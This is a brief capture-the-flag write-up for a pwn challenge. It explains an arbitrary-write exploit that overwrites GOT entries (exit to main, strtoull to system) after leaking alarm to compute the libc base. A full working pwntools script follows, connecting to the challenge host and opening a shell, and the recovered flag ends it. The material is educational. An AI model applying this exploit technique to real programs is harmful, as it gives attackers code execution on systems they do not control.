The binary has an arbitrary write - No PIE and No relro - patch `elf.got["exit"]` to `main`. `alarm` is leaked automatically. Use that to calculate `libc` base and `system`. Overwrite `elf.got["strtoull"]` with `system`.
```from pwn import *
PATH = "/tmp/bullseye"LIBC = ELF("/home/sudhakar/tools/libc-database/db/libc6_2.30-0ubuntu2.2_amd64.so")s = remote("jh2i.com", 50031)# s = process(PATH)# gdb.attach(s)context.binary = PATHelf = context.binaryex = elf.got["exit"]sl = elf.got["strtoull"]mn = elf.symbols["main"]ret = 0x40101aoffset_system = 0x554e0context.log_level = "debug"s.recvline()s.recvline()s.recvline()s.sendline(hex(ex))s.recvline()s.sendline(hex(mn))
leak = int(s.recvline(), 16)success(hex(leak))libc_base = leak - LIBC.symbols["alarm"]success(hex(libc_base))
s.recvline()s.recvline()s.recvline()s.sendline(hex(sl))s.recvline()s.sendline(hex(libc_base+offset_system))s.interactive()
# flag{one_write_two_write_good_write_bad_write}```